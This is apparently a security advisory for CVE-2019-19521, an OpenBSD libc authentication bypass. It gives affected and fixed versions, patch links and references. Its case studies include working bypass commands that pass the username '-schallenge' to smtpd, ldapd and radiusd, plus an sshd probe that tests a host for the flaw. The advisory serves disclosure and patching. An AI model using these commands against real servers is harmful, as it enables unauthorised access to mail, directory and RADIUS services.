Allele Security Alert
ASA-2019-00652
Identifier(s)
ASA-2019-00652, CVE-2019-19521
Title
libc’s authentication layer performed insufficient username validation
Vendor(s)
The OpenBSD Project
Product(s)
OpenBSD
Affected version(s)
OpenBSD versions 6.6 before errata 011
OpenBSD versions 6.5 before errata 022
Fixed version(s)
OpenBSD versions 6.6 errata 011
OpenBSD versions 6.5 errata 022
OpenBSD versions 6.6 with the following patch applied:
010_libcauth.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/010_libcauth.patch.sig
011_xenodm.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/011_xenodm.patch.sig
OpenBSD versions 6.5 with the following patch applied:
021_libcauth.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.5/common/021_libcauth.patch.sig
022_xenodm.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.5/common/022_xenodm.patch.sig
Proof of concept
Yes
Description
libc in OpenBSD allows authentication bypass via the -schallenge username, as demonstrated by smtpd, ldapd, or radiusd. This is related to gen/auth_subr.c and gen/authenticate.c in libc (and login/login.c and xenocara/app/xenodm/greeter/verify.c).
Technical details
Qualys discovered an authentication-bypass vulnerability in OpenBSD’s authentication system: this vulnerability is remotely exploitable in smtpd, ldapd, and radiusd, but its real-world impact should be studied on a case-by-case basis. For example, sshd is not exploitable thanks to its defense-in-depth mechanisms.
From the manual page of login.conf:
OpenBSD uses BSD Authentication, which is made up of a variety of authentication styles. The authentication styles currently provided are: ... passwd Request a password and check it against the password in the master.passwd file. See login_passwd(8). ... skey Send a challenge and request a response, checking it with S/Key (tm) authentication. See login_skey(8). ... yubikey Authenticate using a Yubico YubiKey token. See login_yubikey(8). ... For any given style, the program /usr/libexec/auth/login_style is used to perform the authentication. The synopsis of this program is: /usr/libexec/auth/login_style [-v name=value] [-s service] username class
This is the first piece of the puzzle: if an attacker specifies a username of the form “-option”, they can influence the behavior of the authentication program in unexpected ways.
From the manual page of login_passwd:
login_passwd [-s service] [-v wheel=yes|no] [-v lastchance=yes|no] user [class] ... The service argument specifies which protocol to use with the invoking program. The allowed protocols are login, challenge, and response. (The challenge protocol is silently ignored but will report success as passwd- style authentication is not challenge-response based).
This is the second piece of the puzzle: if an attacker specifies the username “-schallenge” (or “-schallenge:passwd” to force a passwd-style authentication), then the authentication is automatically successful and therefore bypassed.
Case study: smtpd
To demonstrate how smtpd’s authentication can be bypassed, we follow the instructions from the manual page of smtpd.conf:
In this second example, the aim is to permit mail delivery and relaying only for users that can authenticate (using their normal login credentials). ... listen on egress tls pki mail.example.com auth ... match auth from any for any action "outbound"
and we restart smtpd. Then, with our remote-attacker hat on:
$ printf '\0-schallenge\0whatever' | openssl base64 AC1zY2hhbGxlbmdlAHdoYXRldmVy $ openssl s_client -connect 192.168.56.121:25 -starttls smtp ... EHLO client.example.com ... AUTH PLAIN AC1zY2hhbGxlbmdlAHdoYXRldmVy 235 2.0.0 Authentication succeeded
Case study: ldapd
From the manual page of ldapd:
ldapd can authenticate users via simple binds or SASL with the PLAIN mechanism. ... When using SASL binds, the authentication ID should be a valid username for BSD Authentication. For plain text passwords to be accepted, the connection must be considered secure, either by using an encrypted connection, or by using the secure keyword in the configuration file.
Over such a secure connection, a remote attacker can bypass ldapd’s SASL authentication:
$ ldapsearch -H ldap://192.168.56.121 -O none -U invaliduser -w whatever SASL/PLAIN authentication started ldap_sasl_interactive_bind_s: Invalid credentials (49) $ ldapsearch -H ldap://192.168.56.121 -O none -U -schallenge -w whatever SASL/PLAIN authentication started SASL username: -schallenge ... # numResponses: 1
Case study: radiusd
To show how radiusd’s authentication can be bypassed, we adapt the configuration example from the manual page of radiusd.conf:
module load "bsdauth" "/usr/libexec/radiusd/radiusd_bsdauth"
...
authenticate * {
authenticate-by "bsdauth"
}
and we send the following (successful) authentication request:
$ radiusctl test 192.168.56.121 secret -schallenge password whatever ... Reply-Message = "Authentication succeeded"
If we further modify radiusd’s configuration to restrict access to the members of the group “operator”:
module set "bsdauth" "restrict-group" "operator"
and send our authentication request, then radiusd_bsdauth crashes because of a NULL-pointer dereference (because getpwnam(“-schallenge”) returns NULL):
80 int
81 main(int argc, char *argv[])
82 {
...
192 pw = getpwnam(user);
...
197 if (gr->gr_gid == pw->pw_gid) {
Case study: sshd
Even if an attacker were able to bypass sshd’s authentication with an invalid user such as “-schallenge”, sshd would eventually reject it:
225 void
226 monitor_child_preauth(struct ssh *ssh, struct monitor *pmonitor)
227 {
...
229 int authenticated = 0, partial = 0;
...
249 while (!authenticated) {
...
288 }
289
290 if (!authctxt->valid)
291 fatal("%s: authenticated invalid user", __func__);
Nevertheless, it’s possible to use sshd to remotely test whether an OpenBSD system is vulnerable to ASA-2019-00652 or not:
$ ssh -v -F /dev/null -o PreferredAuthentications=keyboard-interactive \ -o KbdInteractiveDevices=bsdauth -l -sresponse:passwd 192.168.56.121 ... debug1: Next authentication method: keyboard-interactive
It is vulnerable if the connection hangs, because sshd waits for login_passwd to send a challenge, while login_passwd waits for sshd to send a response (because login_passwd interprets the username “-sresponse” as an option).
Credits
Qualys Research Team
Reference(s)
OpenBSD 6.6 Errata
https://www.openbsd.org/errata66.html
OpenBSD 6.5 Errata
https://www.openbsd.org/errata65.html
010_libcauth.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/010_libcauth.patch.sig
021_libcauth.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.5/common/021_libcauth.patch.sig
011_xenodm.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/011_xenodm.patch.sig
022_xenodm.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.5/common/022_xenodm.patch.sig
libc’s authentication privsep layer performed insufficient username
https://github.com/openbsd/src/commit/a314d10b1f062d8d3f606a01566c779311fa7b54
libc’s authentication privsep layer performed insufficient username
https://github.com/openbsd/src/commit/2dfc98f42e117c7605b52b5020b630d98601dc22
libc’s authentication privsep layer performed insufficient username
https://github.com/openbsd/src/commit/b458275529e8596f47627eed71b534f261a8b363
xenodm uses the libc authentication layer incorrectly.
https://github.com/openbsd/xenocara/commit/ed32a4544c5028818ba29afc0f4980c6817ee447
oss-security – Authentication vulnerabilities in OpenBSD
https://www.openwall.com/lists/oss-security/2019/12/04/5
Full Disclosure: Authentication vulnerabilities in OpenBSD
https://seclists.org/fulldisclosure/2019/Dec/14
Bugtraq: Authentication vulnerabilities in OpenBSD
https://seclists.org/bugtraq/2019/Dec/8
CVE-2019-19521
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19521
CVE-2019-19521
https://nvd.nist.gov/vuln/detail/CVE-2019-19521
If there is any error in this alert or you wish a comprehensive analysis, let us know.
Last modified: February 11, 2020